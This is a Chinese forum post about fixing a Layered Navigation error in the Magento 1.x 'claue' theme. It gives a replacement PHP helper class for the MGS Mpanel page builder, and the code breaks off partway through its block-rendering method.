Magento1.x模板claue在使用时Layered Navigation 报错

技术分享neasel 发表了文章 • 0 个评论 • 3 次浏览 • 2018-09-14 16:11 • 来自相关话题

替换 app\code\local 下的MGS目录,则可以在前台 frontend builder中正常添加。 app\code\local\MGS\Mpanel\Helper\data.php报错的错用以下内容替换 [code]< ...查看全部
替换 app\code\local 下的MGS目录,则可以在前台 frontend builder中正常添加。
app\code\local\MGS\Mpanel\Helper\data.php报错的错用以下内容替换
[code]<?php

class MGS_Mpanel_Helper_Data extends MGS_Mgscore_Helper_Data {

protected $_ids;

// Check to accept to use builder panel
public function acceptToUsePanel() {
if ($this->showButton() && (Mage::getSingleton('core/session')->getUsePanel() == 1)) {
return true;
}
return false;
}

public function showButton() {

if (Mage::getStoreConfig('mpanel/general/enabled')) {

$logedAccountId = Mage::getSingleton('customer/session')->getCustomer()->getEmail();

$acceptAccounts = Mage::getStoreConfig('mpanel/general/account');
if ($acceptAccounts == '') {
return false;
}
$acceptAccountIds = explode(',', $acceptAccounts);
$acceptAccountIds = array_filter($acceptAccountIds);

if ((count($acceptAccountIds) > 0) && (in_array($logedAccountId, $acceptAccountIds))) {
return true;
}
}

return false;
}

// Check cms page, if is cms page return true
public function isCmsPage() {
$module = Mage::app()->getRequest()->getModuleName();
if ($module == 'cms') {
return true;
}
return false;
}

// Check customer page, if is customer page return true
public function isCustomerPage() {
$module = Mage::app()->getRequest()->getModuleName();
$controller = Mage::app()->getRequest()->getControllerName();
$action = Mage::app()->getRequest()->getActionName();
$str = $module . '-' . $controller . '-' . $action;
if ($str == 'customer-account-index' || $str == 'customer-account-edit' || $str == 'customer-address-index' || $str == 'sales-order-history' || $str == 'sales-billing_agreement-index' || $str == 'sales-recurring_profile-index' || $str == 'review-customer-index' || $str == 'tag-customer-index' || $str == 'wishlist-index-index' || $str == 'oauth-customer_token-index' || $str == 'newsletter-manage-index' || $str == 'downloadable-customer-products' || $str == 'productquestions-index-index') {
return true;
}
return false;
}

// Check homepage, if is homepage return true
public function isHomepage() {
$module = Mage::app()->getRequest()->getModuleName();
$controller = Mage::app()->getRequest()->getControllerName();
$action = Mage::app()->getRequest()->getActionName();

if ((Mage::getSingleton('cms/page')->getIdentifier() == 'home' && Mage::app()->getFrontController()->getRequest()->getRouteName() == 'cms') || Mage::getUrl() == Mage::getUrl('*/*/*', array('_current' => true, '_use_rewrite' => true)) || ($module == 'cms' && $controller == 'index' && $action == 'index')) {
return true;
}
return false;
}

// check category and product detail page
public function isCatalogPage() {
$module = Mage::app()->getRequest()->getModuleName();
if ($module == 'catalog') {
return true;
}
return false;
}

// check category page
public function isCategoryPage() {
$controller = Mage::app()->getRequest()->getControllerName();
if ($controller == 'category') {
return true;
}
return false;
}

// check catalog search page
public function isCatalogSearchPage() {
$controller = Mage::app()->getRequest()->getModuleName();
if ($controller == 'catalogsearch') {
return true;
}
return false;
}

// check product page
public function isProductPage() {
$controller = Mage::app()->getRequest()->getControllerName();
if ($controller == 'product') {
return true;
}
return false;
}

// Get all page layout of site (1 column, 2 columns left...), return dropdown html
public function getPageLayoutHtml($pageId) {
$page = Mage::getModel('cms/page')->load($pageId);

$storeIds = $page->getStoreId();
$html = '';

if (count($storeIds) > 0) {
foreach ($storeIds as $storeId) {
$html .= '<input type="hidden" name="stores[]" value="' . $storeId . '"/>';
}
}

$html .= '<select name="root_template" class="page-layout" onchange="this.form.submit();">';

foreach (Mage::getSingleton('page/config')->getPageLayouts() as $layout) {
$label = $layout->getLabel();
$value = $layout->getCode();
$html .= '<option value="' . $value . '"';
if ($page->getRootTemplate() == $value) {
$html .= ' selected="selected"';
}
$html .= '>' . $label . '</option>';
}

$html .= '</select>';

return $html;
}

// Get all page layout (1 column, 2 columns left...) for catalog page
public function getCatalogLayoutUpdate() {
if (Mage::registry('current_product')) {
$product = Mage::registry('current_product');
$currentLayout = $product->getPageLayout();
} else {
$category = Mage::registry('current_category');
$currentLayout = $category->getPageLayout();
}

$layout = Mage::getSingleton('page/source_layout')->toOptionArray();
array_unshift($layout, array('value' => '', 'label' => Mage::helper('catalog')->__('No layout updates')));

$html = '<select name="general[page_layout]" class="page-layout" onchange="this.form.submit();">';
foreach ($layout as $_layout) {
$html .= '<option value="' . $_layout['value'] . '"';
if ($currentLayout == $_layout['value']) {
$html .= ' selected="selected"';
}
$html .= '>' . $_layout['label'] . '</option>';
}
$html .= '</select>';

return $html;
}

public function getPageSettings() {
if (Mage::registry('current_product')) {
return $this->getLayout()->createBlock('core/template')->setTemplate('mgs/mpanel/panel/product-settings.phtml')->toHtml();
} else {
$category = Mage::registry('current_category');
return $this->getLayout()->createBlock('core/template')->setCategory($category)->setTemplate('mgs/mpanel/panel/category-settings.phtml')->toHtml();
}
}

// Check homepage has use builder panel or not
public function useHomepageBuilder() {
$storeId = Mage::app()->getStore()->getId();
$homeStore = Mage::getModel('mpanel/store')
->getCollection()
->addFieldToFilter('store_id', $storeId)
->addFieldToFilter('status', 1);
if (count($homeStore) > 0) {
return true;
}
return false;
}

// Return html of dropdown homepage config (Use CMS Page, Use Homepage Builder)
public function getHomepageConfigHtml() {
$html = '<input type="checkbox" data-toggle="toggle" data-height="20" data-width="110" data-on="Use Builder" data-off="Use CMS" data-onstyle="success" data-offstyle="warning" name="status" value="1" id="homesetting" onchange="checkBuilder()"';
if ($this->useHomepageBuilder()) {
$html .= ' checked="checked"';
}
$html .= '/> ';

return $html;
}

// Get all homepage layout from database
public function getHomeLayouts() {
$layouts = Mage::getModel('mpanel/home')
->getCollection();
return $layouts;
}

// Check a layout have active or not
public function isActiveLayout($layoutName) {
$storeId = Mage::app()->getStore()->getId();
$homeStore = Mage::getModel('mpanel/store')
->getCollection()
->addFieldToFilter('store_id', $storeId)
->addFieldToFilter('name', $layoutName);
if ($homeStore->getFirstItem()->getStatus()) {
return true;
}
return false;
}

// Get WYSIWYG Editor config
public function getConfig($data = array()) {
$config = new Varien_Object();

$config->setData(array(
'enabled' => true,
'hidden' => 1,
'use_container' => false,
'add_variables' => false,
'add_widgets' => true,
'no_display' => false,
'translator' => Mage::helper('cms'),
'encode_directives' => true,
'directives_url' => str_replace('https', 'http', Mage::getUrl('mpanel/wysiwyg/directive')),
'widget_window_url' => str_replace('https', 'http', Mage::getUrl('mpanel/adminhtml_widget/index')),
'popup_css' =>
Mage::getBaseUrl('js') . 'mage/adminhtml/wysiwyg/tiny_mce/themes/advanced/skins/default/dialog.css',
'content_css' =>
Mage::getBaseUrl('js') . 'mage/adminhtml/wysiwyg/tiny_mce/themes/advanced/skins/default/content.css',
'width' => '100%',
'plugins' => array(
/* array(
'name'=>'magentovariable',
'src'=> Mage::getBaseUrl('js').'mage/adminhtml/wysiwyg/tiny_mce/plugins/magentovariable/editor_plugin.js',
'options'=> array(
'title'=>'Insert Variable...',
'url'=> Mage::getUrl('mpanel/variable/wysiwygPlugin'),
'onclick'=> array(
'search'=> array(
'html_id'
),
'subject'=> "MagentovariablePlugin.loadChooser('".Mage::getUrl('mpanel/variable/wysiwygPlugin')."', '{{html_id}}');"
),
'class'=> 'add-variable plugin'
)
),

array(
'name'=>'magentowidget',
'src'=> Mage::getBaseUrl('js').'mage/adminhtml/wysiwyg/tiny_mce/plugins/magentowidget/editor_plugin.js',

) */
),
'directives_url_quoted' => str_replace('https', 'http', Mage::getUrl('mpanel/wysiwyg/directive'))
));

//$config->setData('directives_url_quoted', preg_quote($config->getData('directives_url')));

$config->addData(array(
'add_images' => true,
'files_browser_window_url' => str_replace('https', 'http', Mage::getUrl('mpanel/wysiwyg/index')),
'files_browser_window_width' => (int) Mage::getConfig()->getNode('adminhtml/cms/browser/window_width'),
'files_browser_window_height' => (int) Mage::getConfig()->getNode('adminhtml/cms/browser/window_height'),
'widget_plugin_src' => Mage::getBaseUrl('js') . 'mage/adminhtml/wysiwyg/tiny_mce/plugins/magentowidget/editor_plugin.js',
'widget_images_url' => Mage::getDesign()->getSkinUrl('images/widget', array('_area' => 'adminhtml')),
));


if (is_array($data)) {
$config->addData($data);
}

Mage::dispatchEvent('cms_wysiwyg_config_prepare', array('config' => $config));

return $config;
}

// Get edit panel of a block
public function getEditPanel($id) {
$html = '<div class="edit-panel parent-panel"><ul>';
$html .='<li class="up-link"><a title="' . $this->__('Move Up') . '" onclick="return false;" href="#" class="moveuplink"><em class="fa fa-arrow-up"> </em></a></li>';
$html .='<li class="down-link"><a title="' . $this->__('Move Down') . '" onclick="return false;" href="#" class="movedownlink"><em class="fa fa-arrow-down"> </em></a></li>';
$html .='<li><a href="' . Mage::getUrl('mpanel/edit/block', array('layout' => '1_column_full', 'id' => $id)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-gear"></em></a></li>';
$html .='<li><a href="#" title="' . $this->__('Delete') . '" onclick="if(confirm(\'' . $this->__('Are you sure you would like to remove this section?') . '\')) removeSection(' . $id . '); return false"><em class="fa fa-close"></em></a></li>';
$html .='</ul></div>';

return $html;
}

// Get edit panel of a header
public function getEditHeaderPanel() {
$isSecure = Mage::app()->getStore()->isCurrentlySecure();
if ($isSecure) {
$html = '<div class="edit-panel"><ul><li><a class="popup-link" href="' . Mage::getUrl('mpanel/edit/header', array('_secure' => true)) . '" title="' . $this->__('Edit Header') . '"><em class="fa fa-gear"></em></a></li></ul></div>';
} else {
$html = '<div class="edit-panel"><ul><li><a class="popup-link" href="' . Mage::getUrl('mpanel/edit/header') . '" title="' . $this->__('Edit Header') . '"><em class="fa fa-gear"></em></a></li></ul></div>';
}
return $html;
}

// Get edit panel of a footer
public function getEditFooterPanel() {
$isSecure = Mage::app()->getStore()->isCurrentlySecure();
if ($isSecure) {
$html = '<div class="edit-panel"><ul><li><a class="popup-link" href="' . Mage::getUrl('mpanel/edit/footer', array('_secure' => true)) . '" title="' . $this->__('Edit Footer') . '"><em class="fa fa-gear"></em></a></li></ul></div>';
} else {
$html = '<div class="edit-panel"><ul><li><a class="popup-link" href="' . Mage::getUrl('mpanel/edit/footer') . '" title="' . $this->__('Edit Footer') . '"><em class="fa fa-gear"></em></a></li></ul></div>';
}
return $html;
}

// Add edit panel for logo
public function getEditLogoPanel() {
$isSecure = Mage::app()->getStore()->isCurrentlySecure();

$html = '<div class="edit-panel logo-panel child-panel"><ul>';

if ($isSecure) {
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/logo', array('_secure' => true)) . '" class="popup-link" title="' . $this->__('Upload Logo') . '"><em class="fa fa-edit"> </em></a></li>';
} else {
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/logo') . '" class="popup-link" title="' . $this->__('Upload Logo') . '"><em class="fa fa-edit"> </em></a></li>';
}
$html .= '</ul></div>';

return $html;
}

// Show WishList Button
public function isShowWishList() {
if(!Mage::getStoreConfig('mpanel/catalog/wishlist_button')){
return true;
}
return false;
}

// Check if product is in wishlist
public function checkInWishilist($_product){
Mage::getSingleton('customer/session')->isLoggedIn();
$session = Mage::getSingleton('customer/session');
$cidData = $session->isLoggedIn();
$customer_id = $session->getId();

if($customer_id){
$wishlist = Mage::getModel('wishlist/item')->getCollection();
$wishlist->getSelect()
->join(array('t2' => 'wishlist'),
'main_table.wishlist_id = t2.wishlist_id',
array('wishlist_id','customer_id'))
->where('main_table.product_id = '.$_product->getId().' AND t2.customer_id='.$customer_id);
$count = $wishlist->count();
$wishlist = Mage::getModel('wishlist/item')->getCollection();
}
else {
$count="0";
}

if ($count) :
return true;
else:
return false;
endif;
}

// Show Compare Button
public function isShowCompare() {
if(!Mage::getStoreConfig('mpanel/catalog/compare_button')){
return true;
}
return false;
}

// Show Add to Cart Button
public function isShowAddtoCart() {
if(!Mage::getStoreConfig('mpanel/catalog/hide_add_to_cart_button')){
return true;
}
return false;
}

// Add edit panel for category image
public function getEditCategoryImage($id) {
$html = '<div class="edit-panel inline-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/categoryImage', array('id' => $id)) . '" class="popup-link" title="' . $this->__('Upload Image For This Category') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '</ul></div>';

return $html;
}

// Add edit panel for product tab
public function getDeleteProductTab($alias) {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteProductTab', array('alias' => $alias)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this tab?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';

return $html;
}

// Add edit panel for category description
public function getEditCategoryDescription($id) {
$html = '<div class="edit-panel inline-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/categoryDescription', array('id' => $id)) . '" class="popup-link" title="' . $this->__('Edit Description For This Category') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '</ul></div>';

return $html;
}

// Add edit panel for welcome text and copyright
public function getEditStoreConfig($tag, $text) {
$html = '<div class="edit-panel inline-panel ' . $tag . '-config"><ul>';
$html .= '<li><a href="#" onclick="toggleEl(\'' . $tag . '\'); return false" class="edit-inline" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a><div class="input-inline" style="display:none" id="' . $tag . '">';

if ($tag == 'design-footer-copyright') {
$html .= '<textarea type="text" id="' . $tag . '-input" class="input-text edit-input">' . $text . '</textarea>';
} else {
$html .= '<input type="text" value="' . $text . '" id="' . $tag . '-input" class="input-text edit-input"/>';
}

$html .= '<button type="button" onclick="saveStoreConfig(\'' . $tag . '\',\'' . $this->__('Save') . '\',\'' . $this->__('Saving...') . '\')" class="btn btn-primary btn-save-config">' . $this->__('Save') . '</button></div></li>';
$html .= '</ul></div>';
return $html;
}

// Add edit panel for gmap
public function getEditMapPanel() {
$html = '<div class="edit-panel map-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/map') . '" class="popup-link" title="' . $this->__('Edit Map Information') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '</ul></div>';

return $html;
}

// Add edit panel for contact information
public function getEditContactInfoPanel() {
$html = '<div class="edit-panel contact-info-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/info') . '" class="popup-link" title="' . $this->__('Edit Contact Information') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '</ul></div>';

return $html;
}

// Get block content by layout and block_id
public function getBlockContent($layout, $id) {

}

//Return content of a homepage if homepage use builder panel
public function getLayoutConfig() {
$storeId = Mage::app()->getStore()->getId();

$config = Mage::getModel('mpanel/store')
->getCollection()
->addFieldToFilter('store_id', $storeId)
->addFieldToFilter('status', 1);

if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplate('mgs/mpanel/template/admin/' . $config->getFirstItem()->getName() . '.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplate('mgs/mpanel/template/' . $config->getFirstItem()->getName() . '.phtml')->toHtml();
}
}

//Return content of a category right if use builder panel
public function getLayoutConfigCategoryRight() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('category_right')->setBlockName('block_category_right')->setTemplate('mgs/mpanel/template/admin/category_right.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('category_right')->setBlockName('block_category_right')->setTemplate('mgs/mpanel/template/category_right.phtml')->toHtml();
}
}

//Return content of a category left if use builder panel
public function getLayoutConfigCategoryLeft() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('category_left')->setBlockName('block_category_left')->setTemplate('mgs/mpanel/template/admin/category_left.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('category_left')->setBlockName('block_category_left')->setTemplate('mgs/mpanel/template/category_left.phtml')->toHtml();
}
}

//Return content of a catalog search right if use builder panel
public function getLayoutConfigCatalogSearchRight() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('catalog_search_right')->setBlockName('block_catalog_search_right')->setTemplate('mgs/mpanel/template/admin/catalog_search_right.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('catalog_search_right')->setBlockName('block_catalog_search_right')->setTemplate('mgs/mpanel/template/catalog_search_right.phtml')->toHtml();
}
}

//Return content of a catalog search left if use builder panel
public function getLayoutConfigCatalogSearchLeft() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('catalog_search_left')->setBlockName('block_catalog_search_left')->setTemplate('mgs/mpanel/template/admin/catalog_search_left.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('catalog_search_left')->setBlockName('block_catalog_search_left')->setTemplate('mgs/mpanel/template/catalog_search_left.phtml')->toHtml();
}
}

//Return content of a cms right if use builder panel
public function getLayoutConfigCmsRight() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('cms_right')->setBlockName('block_cms_right')->setTemplate('mgs/mpanel/template/admin/cms_right.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('cms_right')->setBlockName('block_cms_right')->setTemplate('mgs/mpanel/template/cms_right.phtml')->toHtml();
}
}

//Return content of a cms left if use builder panel
public function getLayoutConfigCmsLeft() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('cms_left')->setBlockName('block_cms_left')->setTemplate('mgs/mpanel/template/admin/cms_left.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('cms_left')->setBlockName('block_cms_left')->setTemplate('mgs/mpanel/template/cms_left.phtml')->toHtml();
}
}

//Return content of a customer right if use builder panel
public function getLayoutConfigCustomerRight() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('customer_right')->setBlockName('block_customer_right')->setTemplate('mgs/mpanel/template/admin/customer_right.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('customer_right')->setBlockName('block_customer_right')->setTemplate('mgs/mpanel/template/customer_right.phtml')->toHtml();
}
}

//Return content of a customer left if use builder panel
public function getLayoutConfigCustomerLeft() {
if ($this->acceptToUsePanel()) {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('customer_left')->setBlockName('block_customer_left')->setTemplate('mgs/mpanel/template/admin/customer_left.phtml')->toHtml();
} else {
return $this->getLayout()->createBlock('mpanel/template')->setTemplateLayout('customer_left')->setBlockName('block_customer_left')->setTemplate('mgs/mpanel/template/customer_left.phtml')->toHtml();
}
}

// Return new position for a child block
public function getNewPositionOfChild($storeId, $blockName, $templateLayout) {
$child = Mage::getModel('mpanel/childs')
->getCollection()
->addFieldToFilter('store_id', $storeId)
->addFieldToFilter('block_name', $blockName)
->addFieldToFilter('home_name', $templateLayout)
->setOrder('position', 'DESC')
->getFirstItem();

if ($child->getId()) {
$position = (int) $child->getPosition() + 1;
} else {
$position = 1;
}

return $position;
}

public function getEditChild($layout, $block, $child, $type) {
$html = '<div class="edit-panel child-panel"><ul>';

$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';

$html .= '<li><a href="' . Mage::getUrl('mpanel/index/form', array('template' => $layout, 'block' => $block, 'id' => $child, 'type' => $type)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a></li>';

$html .= '<li class="change-col"><a href="javascript:void(0)" title="' . $this->__('Change column setting') . '"><em class="fa fa-columns"> </em></a><ul>';

for ($i = 1; $i <= 12; $i++) {
$html .= '<li><a href="' . Mage::getUrl('mpanel/edit/col', array('id' => $child, 'col' => $i)) . '" onclick="changeBlockCol(this.href); return false"><span>' . $i . '/12</span></a></li>';
}

$html .= '</ul></li>';

$html .= '<li><a href="' . Mage::getUrl('mpanel/post/delete', array('id' => $child)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';

return $html;
}

public function getEditChildInCategory($layout, $block, $child, $type, $category_id, $product_id) {
if ($type == 'core') {
if ($product_id) {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCategory', array('template' => $layout, 'type' => $type, 'block' => $child, 'category_id' => $category_id, 'product_id' => $product_id)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
} else {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCategory', array('template' => $layout, 'type' => $type, 'block' => $child, 'category_id' => $category_id)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
}
} else {
if ($product_id) {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/index/formInCategory', array('template' => $layout, 'block' => $block, 'id' => $child, 'type' => $type, 'category_id' => $category_id, 'product_id' => $product_id)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCategory', array('id' => $child, 'category_id' => $category_id, 'product_id' => $product_id)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
} else {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/index/formInCategory', array('template' => $layout, 'block' => $block, 'id' => $child, 'type' => $type, 'category_id' => $category_id)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCategory', array('id' => $child, 'category_id' => $category_id)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
}
}

return $html;
}

public function getEditChildInCms($layout, $block, $child, $type, $page_id) {
if ($type == 'core') {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCms', array('template' => $layout, 'type' => $type, 'block' => $child, 'page_id' => $page_id)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
} else {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/index/formInCms', array('template' => $layout, 'block' => $block, 'id' => $child, 'type' => $type, 'page_id' => $page_id)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCms', array('id' => $child, 'page_id' => $page_id)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
}

return $html;
}

public function getEditChildInCustomer($layout, $block, $child, $type) {
if ($type == 'core') {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCustomer', array('template' => $layout, 'type' => $type, 'block' => $child)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
} else {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/index/formInCustomer', array('template' => $layout, 'block' => $block, 'id' => $child, 'type' => $type)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCustomer', array('id' => $child)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
}

return $html;
}

public function getEditChildInCatalogSearch($layout, $block, $child, $type) {
if ($type == 'core') {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCatalogSearch', array('template' => $layout, 'type' => $type, 'block' => $child)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
} else {
$html = '<div class="edit-panel child-panel"><ul>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/index/formInCatalogSearch', array('template' => $layout, 'block' => $block, 'id' => $child, 'type' => $type)) . '" class="popup-link" title="' . $this->__('Edit') . '"><em class="fa fa-edit"> </em></a></li>';
$html .= '<li class="sort-handle"><a href="#" onclick="return false;" title="' . $this->__('Move') . '"><em class="fa fa-arrows"> </em></a></li>';
$html .= '<li><a href="' . Mage::getUrl('mpanel/post/deleteInCatalogSearch', array('id' => $child)) . '" onclick="return confirm(\'' . $this->__('Are you sure you would like to remove this block?') . '\')" title="' . $this->__('Delete') . '"><em class="fa fa-trash"> </em></a></li>';
$html .= '</ul></div>';
}

return $html;
}

public function renderHtmlContent($templateLayout, $blockName, $currentCategoryId, $key, $value, $isAdmin, $currentProductId) {
$blocks = array(
'categoryNavigation' => array(
'block' => 'mpanel/navigation',
'template' => 'mgs/mpanel/template/category-navigation.phtml'
),
'subCategories' => array(
'block' => 'catalog/navigation',
'template' => 'catalog/navigation/left.phtml'
),
'layeredNavigation' => array(
'block' => 'catalog/layer_view',
'template' => 'catalog/layer/view.phtml'
),
'cartSidebar' => array(
'block' => 'checkout/cart_sidebar',
'template' => 'checkout/cart/sidebar.phtml'
),
'compareSidebar' => array(
'block' => 'catalog/product_compare_sidebar',
'template' => 'catalog/product/compare/sidebar.phtml'
),
'reorderSidebar' => array(
'block' => 'sales/reorder_sidebar',
'template' => 'sales/reorder/sidebar.phtml'
),
'poll' => array(
'block' => 'poll/activePoll',
'poll_template' => array(
'poll' => 'poll/active.phtml',
'results' => 'poll/result.phtml'
)
),
'productViewed' => array(
'block' => 'reports/product_viewed',
'template' => 'reports/product_viewed.phtml'
),
'wishlistSidebar' => array(
'block' => 'wishlist/customer_sidebar',
'template' => 'wishlist/sidebar.phtml'
),
'tagsPopular' => array(
'block' => 'tag/popular',
'template' => 'tag/popular.phtml'
),
'newsletter' => array(
'block' => 'newsletter/subscribe',
'template' => 'newsletter/subscribe.phtml'
),
'productRelated' => array(
'block' => 'catalog/product_list_related',
'template' => 'catalog/product/list/related.phtml'
),
'menu' => array(
'block' => 'megamenu/vertical',
'template' => 'megamenu/vertical.phtml'
),
'featuredProducts' => array(
'block' => 'mpanel/products',
'template' => 'mgs/mpanel/products/list/featured_products.phtml'
),
'bestsellerProducts' => array(
'block' => 'mpanel/products',
'template' => 'mgs/mpanel/products/list/hot_products.phtml'
),
'newProducts' => array(
'block' => 'mpanel/product_new',
'template' => 'mgs/mpanel/products/list/new_products.phtml'
),
'topRateProducts' => array(
'block' => 'mpanel/product_rate',
'template' => 'mgs/mpanel/products/list/rate_products.phtml'
),
'saleProducts' => array(
'block' => 'mpanel/product_sale',
'template' => 'mgs/mpanel/products/list/sale_products.phtml'
),
'facebookLikeBox' => array(
'block' => 'social/fblikebox',
'template' => 'mgs/social/facebook-like-box.phtml'
),
'twitterFeed' => array(
'block' => 'core/template',
'template' => 'mgs/mpanel/twitter_tweets.phtml'
)
);
foreach ($blocks as $block => $data) {
if ($block == $key) {
if ($key == 'subCategories') {
if ($this->isCategoryPage()) {
$html = '';
if ($isAdmin) {
$html .= '<div class="sort-item builder-container child-builder" id="' . $templateLayout . '_' . $blockName . '_' . $key . '">';
$html .= $this->getEditChildInCategory($templateLayout, $blockName, $key, 'core', $currentCategoryId, $currentProductId);
}
$html .= $this->getLayout()
->createBlock($data['block'])
->setTemplate($data['template'])
->toHtml();
if ($isAdmin) {
$html .= '</div>';
}
echo $html;
}
} else if ($key == 'layeredNavigation') {
if ($this->isCategoryPage()) {
$html = '';
if ($isAdmin) {
